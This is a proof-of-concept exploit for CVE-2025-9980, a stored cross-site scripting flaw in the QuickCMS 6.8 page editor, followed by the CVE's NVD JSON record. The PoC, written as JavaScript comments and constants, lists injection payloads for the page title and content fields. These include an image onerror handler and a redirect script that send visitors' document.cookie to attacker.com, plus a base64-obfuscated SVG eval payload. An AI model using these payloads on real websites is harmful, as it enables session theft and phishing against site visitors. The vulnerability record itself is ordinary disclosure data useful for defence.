CVE-2025-9980

// CVE-2025-9980 QuickCMS Stored XSS PoC // Target: QuickCMS pages-form functionality // Step 1: Login as admin user const loginPayload = { username: 'admin', password: 'admin_password' }; // Step 2: Navigate to page editor (pages-form) // POST /admin/pages-form?action=edit&id=1 HTTP/1.1 // Step 3: Inject XSS payload in page content fields // Example payloads for different fields: // Payload 1: Basic script injection const xssPayload1 = '<script>alert(document.cookie)</script>'; // Payload 2: Event handler injection const xssPayload2 = '<img src=x onerror="fetch(\"https://attacker.com/steal?c=\"+document.cookie)\">'; // Payload 3: SVG injection const xssPayload3 = '<svg onload="eval(atob(\"YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\"))">'; // Step 4: Send malicious page edit request const exploitRequest = { method: 'POST', path: '/admin/pages-form', body: { page_title: 'Normal Page Title <script>alert(1)</script>', page_content: '<p>Content with <img src=x onerror=alert(document.domain)> injection</p>', page_template: 'default' } }; // Step 5: When victim visits the edited page, XSS will execute // <script>window.location='https://attacker.com/phishing?c='+document.cookie</script>

{"cve": {"id": "CVE-2025-9980", "sourceIdentifier": "[email protected]", "published": "2025-10-23T10:15:32.393", "lastModified": "2025-11-17T16:01:39.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "QuickCMS is vulnerable to multiple Stored XSS in page editor functionality (pages-form). Malicious attacker with admin privileges can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page. By default admin user is not able to add JavaScript into the website.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.8 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensolution:quick.cms:6.8:*:*:*:*:*:*:*", "matchCriteriaId": "D38DD588-2254-48CA-922B-A803E730F60E"}]}]}], "references": [{"url": "https://cert.pl/posts/2025/10/CVE-2025-9980", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://opensolution.org/cms-system-quick-cms.html", "source": "[email protected]", "tags": ["Product"]}]}}